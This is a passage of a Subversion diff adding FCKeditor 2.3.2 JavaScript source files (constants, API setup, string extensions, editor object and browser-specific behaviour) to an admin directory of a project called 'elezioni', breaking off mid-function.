+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckconstants.js
+ * 	Defines some constants used by the editor. These constants are also 
+ * 	globally available in the page where the editor is placed.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// Editor Instance Status.
+var FCK_STATUS_NOTLOADED	= window.parent.FCK_STATUS_NOTLOADED	= 0 ;
+var FCK_STATUS_ACTIVE		= window.parent.FCK_STATUS_ACTIVE		= 1 ;
+var FCK_STATUS_COMPLETE		= window.parent.FCK_STATUS_COMPLETE		= 2 ;
+
+// Tristate Operations.
+var FCK_TRISTATE_OFF		= window.parent.FCK_TRISTATE_OFF		= 0 ;
+var FCK_TRISTATE_ON			= window.parent.FCK_TRISTATE_ON			= 1 ;
+var FCK_TRISTATE_DISABLED	= window.parent.FCK_TRISTATE_DISABLED	= -1 ;
+
+// For unknown values.
+var FCK_UNKNOWN				= window.parent.FCK_UNKNOWN				= -9 ;
+
+// Toolbar Items Style.
+var FCK_TOOLBARITEM_ONLYICON	= window.parent.FCK_TOOLBARITEM_ONLYICON	= 0 ;
+var FCK_TOOLBARITEM_ONLYTEXT	= window.parent.FCK_TOOLBARITEM_ONLYTEXT	= 1 ;
+var FCK_TOOLBARITEM_ICONTEXT	= window.parent.FCK_TOOLBARITEM_ICONTEXT	= 2 ;
+
+// Edit Mode
+var FCK_EDITMODE_WYSIWYG	= window.parent.FCK_EDITMODE_WYSIWYG	= 0 ;
+var FCK_EDITMODE_SOURCE		= window.parent.FCK_EDITMODE_SOURCE		= 1 ;
+
+var FCK_IMAGES_PATH = 'images/' ;		// Check usage.
+var FCK_SPACER_PATH = 'images/spacer.gif' ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckeditorapi.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckeditorapi.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckeditorapi.js	(revision 44)
@@ -0,0 +1,104 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckeditorapi.js
+ * 	Create the FCKeditorAPI object that is available as a global object in
+ * 	the page where the editor is placed in.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKeditorAPI ;
+
+function InitializeAPI()
+{
+	if ( !( FCKeditorAPI = window.parent.FCKeditorAPI ) )
+	{
+		// Make the FCKeditorAPI object available in the parent window. Use 
+		// eval so it is independent from this window and so it will still be 
+		// available if the editor instance is removed ("Can't execute code
+		// from a freed script" error).
+		var sScript = '\
+			var FCKeditorAPI = {\
+				Version			: \'2.3.2\',\
+				VersionBuild	: \'1082\',\
+				__Instances		: new Object(),\
+				GetInstance		: function( instanceName )\
+				{\
+					return this.__Instances[ instanceName ] ;\
+				},\
+				_FunctionQueue	: {\
+					Functions	: new Array(),\
+					IsRunning	: false,\
+					Add			: function( functionToAdd )\
+					{\
+						this.Functions.push( functionToAdd ) ;\
+						if ( !this.IsRunning )\
+							this.StartNext() ;\
+					},\
+					StartNext	: function()\
+					{\
+						var aQueue = this.Functions ;\
+						if ( aQueue.length > 0 )\
+						{\
+							this.IsRunning = true ;\
+							aQueue[0].call() ;\
+						}\
+						else\
+							this.IsRunning = false ;\
+					},\
+					Remove		: function( func )\
+					{\
+						var aQueue = this.Functions ;\
+						var i = 0, fFunc ;\
+						while( fFunc = aQueue[ i ] )\
+						{\
+							if ( fFunc == func )\
+								aQueue.splice( i,1 ) ;\
+							i++ ;\
+						}\
+						this.StartNext() ;\
+					}\
+				}\
+			}' ;
+		
+		// In IE, the "eval" function is not always available (it works with
+		// the JavaScript samples, but not with the ASP ones, for example).
+		// So, let's use the execScript instead.
+		if ( window.parent.execScript )
+			window.parent.execScript( sScript, 'JavaScript' ) ;
+		else
+		{
+			if ( FCKBrowserInfo.IsGecko10 )
+			{
+				// FF 1.0.4 gives an error with the above request. The
+				// following seams to work well. It could become to official
+				// implementation for all browsers, but we need to check it.
+				eval.call( window.parent, sScript ) ;
+			}
+			else
+				window.parent.eval( sScript ) ;
+		}
+		
+		FCKeditorAPI = window.parent.FCKeditorAPI ;
+	}
+
+	// Add the current instance to the FCKeditorAPI's instances collection.
+	FCKeditorAPI.__Instances[ FCK.Name ] = FCK ;
+}
+
+function FCKeditorAPI_Cleanup()
+{
+	FCKeditorAPI.__Instances[ FCK.Name ] = null ;
+}
+FCKTools.AddEventListener( window, 'unload', FCKeditorAPI_Cleanup ) ;	
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckjscoreextensions.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckjscoreextensions.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckjscoreextensions.js	(revision 44)
@@ -0,0 +1,120 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckjscoreextensions.js
+ * 	Extensions to the JavaScript Core.
+ * 
+ * 	All custom extentions functions are PascalCased to differ from the standard
+ * 	camelCased ones.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+String.prototype.Contains = function( textToCheck )
+{
+	return ( this.indexOf( textToCheck ) > -1 ) ;
+}
+
+String.prototype.Equals = function()
+{
+	for ( var i = 0 ; i < arguments.length ; i++ )
+		if ( this == arguments[i] )
+			return true ;
+	
+	return false ;
+}
+
+String.prototype.ReplaceAll = function( searchArray, replaceArray )
+{
+	var replaced = this ;
+	
+	for ( var i = 0 ; i < searchArray.length ; i++ )
+	{
+		replaced = replaced.replace( searchArray[i], replaceArray[i] ) ;
+	}
+	
+	return replaced ;
+}
+
+Array.prototype.AddItem = function( item )
+{
+	var i = this.length ;
+	this[ i ] = item ;
+	return i ;
+}
+
+Array.prototype.indexOf = function( value )
+{
+	for ( var i = 0 ; i < this.length ; i++ )
+	{
+		if ( this[i] == value )
+			return i ;
+	}
+	return -1 ;
+}
+
+String.prototype.startsWith = function( value )
+{
+	return ( this.substr( 0, value.length ) == value ) ;
+}
+
+// Extends the String object, creating a "endsWith" method on it.
+String.prototype.endsWith = function( value, ignoreCase )
+{
+	var L1 = this.length ;
+	var L2 = value.length ;
+	
+	if ( L2 > L1 )
+		return false ;
+
+	if ( ignoreCase )
+	{
+		var oRegex = new RegExp( value + '$' , 'i' ) ;
+		return oRegex.test( this ) ;
+	}
+	else
+		return ( L2 == 0 || this.substr( L1 - L2, L2 ) == value ) ;
+}
+
+String.prototype.remove = function( start, length )
+{
+	var s = '' ;
+	
+	if ( start > 0 )
+		s = this.substring( 0, start ) ;
+	
+	if ( start + length < this.length )
+		s += this.substring( start + length , this.length ) ;
+		
+	return s ;
+}
+
+String.prototype.trim = function()
+{
+	return this.replace( /(^\s*)|(\s*$)/g, '' ) ;
+}
+
+String.prototype.ltrim = function()
+{
+	return this.replace( /^\s*/g, '' ) ;
+}
+
+String.prototype.rtrim = function()
+{
+	return this.replace( /\s*$/g, '' ) ;
+}
+
+String.prototype.replaceNewLineChars = function( replacement )
+{
+	return this.replace( /\n/g, replacement ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck.js	(revision 44)
@@ -0,0 +1,77 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck.js
+ * 	Creation and initialization of the "FCK" object. This is the main object
+ * 	that represents an editor instance.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// FCK represents the active editor instance
+var FCK = new Object() ;
+FCK.Name			= FCKURLParams[ 'InstanceName' ] ;
+
+FCK.Status			= FCK_STATUS_NOTLOADED ;
+FCK.EditMode		= FCK_EDITMODE_WYSIWYG ;
+
+FCK.LoadLinkedFile = function()
+{
+	// There is a bug on IE... getElementById returns any META tag that has the
+	// name set to the ID you are looking for. So the best way in to get the array
+	// by names and look for the correct one.
+	// As ASP.Net generates a ID that is different from the Name, we must also
+	// look for the field based on the ID (the first one is the ID).
+	
+	var oDocument = window.parent.document ;
+
+	var eLinkedField		= oDocument.getElementById( FCK.Name ) ;
+	var colElementsByName	= oDocument.getElementsByName( FCK.Name ) ;
+
+	var i = 0;
+	while ( eLinkedField || i == 0 )
+	{
+		if ( eLinkedField && ( eLinkedField.tagName.toLowerCase() == 'input' || eLinkedField.tagName.toLowerCase() == 'textarea' ) )
+		{
+			FCK.LinkedField = eLinkedField ;
+			break ;
+		}
+		eLinkedField = colElementsByName[i++] ;
+	}
+}
+FCK.LoadLinkedFile() ;
+
+var FCKTempBin = new Object() ;
+FCKTempBin.Elements = new Array() ;
+
+FCKTempBin.AddElement = function( element )
+{
+	var iIndex = this.Elements.length ;
+	this.Elements[ iIndex ] = element ;
+	return iIndex ;
+}
+
+FCKTempBin.RemoveElement = function( index )
+{
+	var e = this.Elements[ index ] ;
+	this.Elements[ index ] = null ;
+	return e ;
+}
+
+FCKTempBin.Reset = function()
+{
+	var i = 0 ;
+	while ( i < this.Elements.length )
+		this.Elements[ i++ ] == null ;
+	this.Elements.length = 0 ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1.js	(revision 44)
@@ -0,0 +1,410 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_1.js
+ * 	This is the first part of the "FCK" object creation. This is the main
+ * 	object that represents an editor instance.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCK_StartupValue ;
+
+FCK.Events	= new FCKEvents( FCK ) ;
+FCK.Toolbar	= null ;
+FCK.HasFocus = false ;
+
+FCK.StartEditor = function()
+{
+	FCK.TempBaseTag = FCKConfig.BaseHref.length > 0 ? '<base href="' + FCKConfig.BaseHref + '" _fcktemp="true"></base>' : '' ;
+
+	FCK.EditingArea = new FCKEditingArea( document.getElementById( 'xEditingArea' ) ) ;
+
+	// Set the editor's startup contents
+	this.SetHTML( FCKTools.GetLinkedFieldValue() ) ;
+}
+
+FCK.Focus = function()
+{
+	FCK.EditingArea.Focus() ;
+}
+
+FCK.SetStatus = function( newStatus )
+{
+	this.Status = newStatus ;
+
+	if ( newStatus == FCK_STATUS_ACTIVE )
+	{
+		FCKFocusManager.AddWindow( window, true ) ;
+		
+		if ( FCKBrowserInfo.IsIE )
+			FCKFocusManager.AddWindow( window.frameElement, true ) ;
+
+		// Force the focus in the editor.
+		if ( FCKConfig.StartupFocus )
+			FCK.Focus() ;
+	}
+
+	this.Events.FireEvent( 'OnStatusChange', newStatus ) ;
+}
+
+// GetHTML is Deprecated : returns the same value as GetXHTML.
+FCK.GetHTML = FCK.GetXHTML = function( format )
+{
+	// We assume that if the user is in source editing, the editor value must
+	// represent the exact contents of the source, as the user wanted it to be.
+	if ( FCK.EditMode == FCK_EDITMODE_SOURCE )
+			return FCK.EditingArea.Textarea.value ;
+
+	var sXHTML ;
+	var oDoc = FCK.EditorDocument ;
+
+	if ( FCKConfig.FullPage )
+		sXHTML = FCKXHtml.GetXHTML( oDoc.getElementsByTagName( 'html' )[0], true, format ) ;
+	else
+	{
+		if ( FCKConfig.IgnoreEmptyParagraphValue && oDoc.body.innerHTML == '<P>&nbsp;</P>' )
+			sXHTML = '' ;
+		else
+			sXHTML = FCKXHtml.GetXHTML( oDoc.body, false, format ) ;
+	}
+	
+	// Restore protected attributes.
+	sXHTML = FCK.ProtectEventsRestore( sXHTML ) ;
+
+	if ( FCKBrowserInfo.IsIE )
+		sXHTML = sXHTML.replace( FCKRegexLib.ToReplace, '$1' ) ;
+
+	if ( FCK.DocTypeDeclaration && FCK.DocTypeDeclaration.length > 0 )
+		sXHTML = FCK.DocTypeDeclaration + '\n' + sXHTML ;
+
+	if ( FCK.XmlDeclaration && FCK.XmlDeclaration.length > 0 )
+		sXHTML = FCK.XmlDeclaration + '\n' + sXHTML ;
+
+	return FCKConfig.ProtectedSource.Revert( sXHTML ) ;
+}
+
+FCK.UpdateLinkedField = function()
+{
+	FCK.LinkedField.value = FCK.GetXHTML( FCKConfig.FormatOutput ) ;
+	FCK.Events.FireEvent( 'OnAfterLinkedFieldUpdate' ) ;
+}
+
+FCK.RegisteredDoubleClickHandlers = new Object() ;
+
+FCK.OnDoubleClick = function( element )
+{
+	var oHandler = FCK.RegisteredDoubleClickHandlers[ element.tagName ] ;
+	if ( oHandler )
+		oHandler( element ) ;
+}
+
+// Register objects that can handle double click operations.
+FCK.RegisterDoubleClickHandler = function( handlerFunction, tag )
+{
+	FCK.RegisteredDoubleClickHandlers[ tag.toUpperCase() ] = handlerFunction ;
+}
+
+FCK.OnAfterSetHTML = function()
+{
+	FCKDocumentProcessor.Process( FCK.EditorDocument ) ;	
+	FCKUndo.SaveUndoStep() ;
+	FCK.Events.FireEvent( 'OnSelectionChange' ) ;
+	FCK.Events.FireEvent( 'OnAfterSetHTML' ) ;
+}
+
+// Saves URLs on links and images on special attributes, so they don't change when 
+// moving around.
+FCK.ProtectUrls = function( html )
+{
+	// <A> href
+	html = html.replace( FCKRegexLib.ProtectUrlsA	, '$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2' ) ;
+
+	// <IMG> src
+	html = html.replace( FCKRegexLib.ProtectUrlsImg	, '$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2' ) ;
+	
+	return html ;
+}
+
+// Saves event attributes (like onclick) so they don't get executed while
+// editing.
+FCK.ProtectEvents = function( html )
+{
+	return html.replace( FCKRegexLib.TagsWithEvent, _FCK_ProtectEvents_ReplaceTags ) ;
+}
+
+// Replace all events attributes (like onclick).
+function _FCK_ProtectEvents_ReplaceTags( tagMatch )
+{
+	return tagMatch.replace( FCKRegexLib.EventAttributes, _FCK_ProtectEvents_ReplaceEvents ) ;
+}
+
+// Replace an event attribute with its respective __fckprotectedatt attribute.
+// The original event markup will be encoded and saved as the value of the new
+// attribute.
+function _FCK_ProtectEvents_ReplaceEvents( eventMatch, attName )
+{
+	return ' ' + attName + '_fckprotectedatt="' + eventMatch.ReplaceAll( [/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g], ['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'] ) + '"' ;
+}
+
+FCK.ProtectEventsRestore = function( html )
+{
+	return html.replace( FCKRegexLib.ProtectedEvents, _FCK_ProtectEvents_RestoreEvents ) ;
+}
+
+function _FCK_ProtectEvents_RestoreEvents( match, encodedOriginal )
+{
+	return encodedOriginal.ReplaceAll( [/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g], ["'",'"','=','<','>','\r','\n','&'] ) ;
+}
+
+FCK.IsDirty = function()
+{
+	return ( FCK_StartupValue != FCK.EditorDocument.body.innerHTML ) ;
+}
+
+FCK.ResetIsDirty = function()
+{
+	if ( FCK.EditorDocument.body )
+		FCK_StartupValue = FCK.EditorDocument.body.innerHTML ;
+}
+
+FCK.SetHTML = function( html )
+{
+	this.EditingArea.Mode = FCK.EditMode ;
+
+	if ( FCK.EditMode == FCK_EDITMODE_WYSIWYG )
+	{	
+		html = FCKConfig.ProtectedSource.Protect( html ) ;
+		html = FCK.ProtectEvents( html ) ;
+		html = FCK.ProtectUrls( html ) ;
+
+		// Firefox can't handle correctly the editing of the STRONG and EM tags. 
+		// We must replace them with B and I.
+		if ( FCKBrowserInfo.IsGecko )
+		{
+			html = html.replace( FCKRegexLib.StrongOpener, '<b$1' ) ;
+			html = html.replace( FCKRegexLib.StrongCloser, '<\/b>' ) ;
+			html = html.replace( FCKRegexLib.EmOpener, '<i$1' ) ;
+			html = html.replace( FCKRegexLib.EmCloser, '<\/i>' ) ;
+		}
+		else if ( FCKBrowserInfo.IsIE )
+		{
+			// IE doesn't support <abbr> and it breaks it. Let's protect it.
+			html = html.replace( FCKRegexLib.AbbrOpener, '<FCK:abbr$1' ) ;
+			html = html.replace( FCKRegexLib.AbbrCloser, '<\/FCK:abbr>' ) ;
+		}
+
+		var sHtml = '' ;
+
+		if ( FCKConfig.FullPage )
+		{
+			// The HTML must be fixed if the <head> is not available.
+			if ( !FCKRegexLib.HeadOpener.test( html ) )
+			{
+				// Check if the <html> is available.
+				if ( !FCKRegexLib.HtmlOpener.test( html ) )
+					html = '<html dir="' + FCKConfig.ContentLangDirection + '">' + html + '</html>' ;
+				
+				// Add the <head>.
+				html = html.replace( FCKRegexLib.HtmlOpener, '$&<head></head>' ) ;
+			}
+			
+			// Save the DOCTYPE.
+			FCK.DocTypeDeclaration = html.match( FCKRegexLib.DocTypeTag ) ;
+			
+			if ( FCKBrowserInfo.IsIE )
+				sHtml = FCK._GetBehaviorsStyle() ;
+			else if ( FCKConfig.ShowBorders ) 
+				sHtml = '<link href="' + FCKConfig.FullBasePath + 'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />' ;
+
+			sHtml += '<link href="' + FCKConfig.FullBasePath + 'css/fck_internal.css' + '" rel="stylesheet" type="text/css" _fcktemp="true" />' ;
+
+			sHtml = html.replace( FCKRegexLib.HeadCloser, sHtml + '$&' ) ;
+
+			// Insert the base tag (FCKConfig.BaseHref), if not exists in the source.
+			if ( FCK.TempBaseTag.length > 0 && !FCKRegexLib.HasBaseTag.test( html ) )
+				sHtml = sHtml.replace( FCKRegexLib.HeadOpener, '$&' + FCK.TempBaseTag ) ;
+		}
+		else
+		{
+			sHtml =
+				FCKConfig.DocType +
+				'<html dir="' + FCKConfig.ContentLangDirection + '"' ;
+			
+			// On IE, if you are use a DOCTYPE differenft of HTML 4 (like
+			// XHTML), you must force the vertical scroll to show, otherwise
+			// the horizontal one may appear when the page needs vertical scrolling.
+			if ( FCKBrowserInfo.IsIE && !FCKRegexLib.Html4DocType.test( FCKConfig.DocType ) )
+				sHtml += ' style="overflow-y: scroll"' ;
+			
+			sHtml +=
+				'><head><title></title>' +
+				this._GetEditorAreaStyleTags() +
+				'<link href="' + FCKConfig.FullBasePath + 'css/fck_internal.css' + '" rel="stylesheet" type="text/css" _fcktemp="true" />' ;
+
+			if ( FCKBrowserInfo.IsIE )
+				sHtml += FCK._GetBehaviorsStyle() ;
+			else if ( FCKConfig.ShowBorders ) 
+				sHtml += '<link href="' + FCKConfig.FullBasePath + 'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />' ;
+
+			sHtml += FCK.TempBaseTag ;
+			sHtml += '</head><body>' ;
+			
+			if ( FCKBrowserInfo.IsGecko && ( html.length == 0 || FCKRegexLib.EmptyParagraph.test( html ) ) )
+				sHtml += GECKO_BOGUS ;
+			else
+				sHtml += html ;
+			
+			sHtml += '</body></html>' ;
+		}
+
+		this.EditingArea.OnLoad = FCK_EditingArea_OnLoad ;
+		this.EditingArea.Start( sHtml ) ;
+	}
+	else
+	{
+		this.EditingArea.OnLoad = null ;
+		this.EditingArea.Start( html ) ;
+		
+		// Enables the context menu in the textarea.
+		this.EditingArea.Textarea._FCKShowContextMenu = true ;
+	}
+
+	if ( FCKBrowserInfo.IsGecko )
+		window.onresize() ;
+}
+
+function FCK_EditingArea_OnLoad()
+{
+	// Get the editor's window and document (DOM)
+	FCK.EditorWindow	= FCK.EditingArea.Window ;
+	FCK.EditorDocument	= FCK.EditingArea.Document ;
+
+	FCK.InitializeBehaviors() ;
+
+	FCK.OnAfterSetHTML() ;
+
+	// Check if it is not a startup call, otherwise complete the startup.
+	if ( FCK.Status != FCK_STATUS_NOTLOADED )
+		return ;
+
+	// Save the startup value for the "IsDirty()" check.
+	FCK.ResetIsDirty() ;
+
+	// Attach the editor to the form onsubmit event
+	FCKTools.AttachToLinkedFieldFormSubmit( FCK.UpdateLinkedField ) ;
+
+	FCK.SetStatus( FCK_STATUS_ACTIVE ) ;
+}
+
+FCK._GetEditorAreaStyleTags = function()
+{
+	var sTags = '' ;
+	var aCSSs = FCKConfig.EditorAreaCSS ;
+	
+	for ( var i = 0 ; i < aCSSs.length ; i++ )
+		sTags += '<link href="' + aCSSs[i] + '" rel="stylesheet" type="text/css" />' ;
+	
+	return sTags ;
+}
+
+// # Focus Manager: Manages the focus in the editor.
+var FCKFocusManager = FCK.FocusManager = new Object() ;
+FCKFocusManager.IsLocked = false ;
+FCK.HasFocus = false ;
+
+FCKFocusManager.AddWindow = function( win, sendToEditingArea )
+{
+	var oTarget ;
+	
+	if ( FCKBrowserInfo.IsIE )
+		oTarget = win.nodeType == 1 ? win : win.frameElement ? win.frameElement : win.document ;
+	else
+		oTarget = win.document ;
+	
+	FCKTools.AddEventListener( oTarget, 'blur', FCKFocusManager_Win_OnBlur ) ;
+	FCKTools.AddEventListener( oTarget, 'focus', sendToEditingArea ? FCKFocusManager_Win_OnFocus_Area : FCKFocusManager_Win_OnFocus ) ;
+}
+
+FCKFocusManager.RemoveWindow = function( win )
+{
+	if ( FCKBrowserInfo.IsIE )
+		oTarget = win.nodeType == 1 ? win : win.frameElement ? win.frameElement : win.document ;
+	else
+		oTarget = win.document ;
+
+	FCKTools.RemoveEventListener( oTarget, 'blur', FCKFocusManager_Win_OnBlur ) ;
+	FCKTools.RemoveEventListener( oTarget, 'focus', FCKFocusManager_Win_OnFocus_Area ) ;
+	FCKTools.RemoveEventListener( oTarget, 'focus', FCKFocusManager_Win_OnFocus ) ;
+}
+
+FCKFocusManager.Lock = function()
+{
+	this.IsLocked = true ;
+}
+
+FCKFocusManager.Unlock = function()
+{
+	if ( this._HasPendingBlur )
+		FCKFocusManager._Timer = window.setTimeout( FCKFocusManager_FireOnBlur, 100 ) ;
+		
+	this.IsLocked = false ;
+}
+
+FCKFocusManager._ResetTimer = function()
+{
+	this._HasPendingBlur = false ;
+
+	if ( this._Timer )
+	{
+		window.clearTimeout( this._Timer ) ;
+		delete this._Timer ; 
+	}
+}
+
+function FCKFocusManager_Win_OnBlur()
+{
+	if ( typeof(FCK) != 'undefined' && FCK.HasFocus )
+	{
+		FCKFocusManager._ResetTimer() ;
+		FCKFocusManager._Timer = window.setTimeout( FCKFocusManager_FireOnBlur, 100 ) ;
+	}
+}
+
+function FCKFocusManager_FireOnBlur()
+{
+	if ( FCKFocusManager.IsLocked )
+		FCKFocusManager._HasPendingBlur = true ;
+	else
+	{
+		FCK.HasFocus = false ;
+		FCK.Events.FireEvent( "OnBlur" ) ;
+	}
+}
+
+function FCKFocusManager_Win_OnFocus_Area()
+{
+	FCKFocusManager_Win_OnFocus() ;
+	FCK.Focus() ;
+}
+
+function FCKFocusManager_Win_OnFocus()
+{
+	FCKFocusManager._ResetTimer() ;
+
+	if ( !FCK.HasFocus && !FCKFocusManager.IsLocked )
+	{
+		FCK.HasFocus = true ;
+		FCK.Events.FireEvent( "OnFocus" ) ;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1_gecko.js	(revision 44)
@@ -0,0 +1,112 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_1_gecko.js
+ * 	This is the first part of the "FCK" object creation. This is the main
+ * 	object that represents an editor instance.
+ * 	(Gecko specific implementations)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCK.Description = "FCKeditor for Gecko Browsers" ;
+
+FCK.InitializeBehaviors = function()
+{
+	// When calling "SetHTML", the editing area IFRAME gets a fixed height. So we must recaulculate it.
+	Window_OnResize() ;
+
+	FCKFocusManager.AddWindow( this.EditorWindow ) ;
+
+	// Handle pasting operations.
+	var oOnKeyDown = function( e )
+	{
+
+		var bPrevent ;
+
+		if ( e.ctrlKey && !e.shiftKey && !e.altKey )
+		{
+			switch ( e.which ) 
+			{
+				case 66 :	// B
+				case 98 :	// b
+					FCK.ExecuteNamedCommand( 'bold' ) ; bPrevent = true ;
+					break;
+				case 105 :	// i
+				case 73 :	// I
+					FCK.ExecuteNamedCommand( 'italic' ) ; bPrevent = true ;
+					break;
+				case 117 :	// u
+				case 85 :	// U
+					FCK.ExecuteNamedCommand( 'underline' ) ; bPrevent = true ;
+					break;
+				case 86 :	// V
+				case 118 :	// v
+					bPrevent = ( FCK.Status != FCK_STATUS_COMPLETE || !FCK.Events.FireEvent( "OnPaste" ) ) ;
+					break ;
+			}
+		}
+		else if ( e.shiftKey && !e.ctrlKey && !e.altKey && e.keyCode == 45 )	// SHIFT + <INS>
+			bPrevent = ( FCK.Status != FCK_STATUS_COMPLETE || !FCK.Events.FireEvent( "OnPaste" ) ) ;
+		
+		if ( bPrevent ) 
+		{
+			e.preventDefault() ;
+			e.stopPropagation() ;
+		}
+	}
+	this.EditorDocument.addEventListener( 'keypress', oOnKeyDown, true ) ;
+
+	this.ExecOnSelectionChange = function()
+	{
+		FCK.Events.FireEvent( "OnSelectionChange" ) ;
+	}
+
+	this.ExecOnSelectionChangeTimer = function()
+	{
+		if ( FCK.LastOnChangeTimer )
+			window.clearTimeout( FCK.LastOnChangeTimer ) ;
+
+		FCK.LastOnChangeTimer = window.setTimeout( FCK.ExecOnSelectionChange, 100 ) ;
+	}
+
+	this.EditorDocument.addEventListener( 'mouseup', this.ExecOnSelectionChange, false ) ;
+
+	// On Gecko, firing the "OnSelectionChange" event on every key press started to be too much
+	// slow. So, a timer has been implemented to solve performance issues when tipying to quickly.
+	this.EditorDocument.addEventListener( 'keyup', this.ExecOnSelectionChangeTimer, false ) ;
+
+	this._DblClickListener = function( e )
+	{
+		FCK.OnDoubleClick( e.target ) ;
+		e.stopPropagation() ;
+	}
+	this.EditorDocument.addEventListener( 'dblclick', this._DblClickListener, true ) ;
+
+	// Reset the context menu.
+	FCK.ContextMenu._InnerContextMenu.SetMouseClickWindow( FCK.EditorWindow ) ;
+	FCK.ContextMenu._InnerContextMenu.AttachToElement( FCK.EditorDocument ) ;
+}
+
+FCK.MakeEditable = function()
+{
+	this.EditingArea.MakeEditable() ;
+}
+
+// Disable the context menu in the editor (outside the editing area).
+function Document_OnContextMenu( e )
+{
+	if ( !e.target._FCKShowContextMenu )
+		e.preventDefault() ;
+}
+document.oncontextmenu = Document_OnContextMenu ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_1_ie.js	(revision 44)
@@ -0,0 +1,294 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_1_ie.js
+ * 	This is the first part of the "FCK" object creation. This is the main
+ * 	object that represents an editor instance.
+ * 	(IE specific implementations)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCK.Description = "FCKeditor for Internet Explorer 5.5+" ;
+
+FCK._GetBehaviorsStyle = function()
+{
+	if ( !FCK._BehaviorsStyle )
+	{
+		var sBasePath = FCKConfig.FullBasePath ;
+		var sTableBehavior = '' ;
+		var sStyle ;
+		
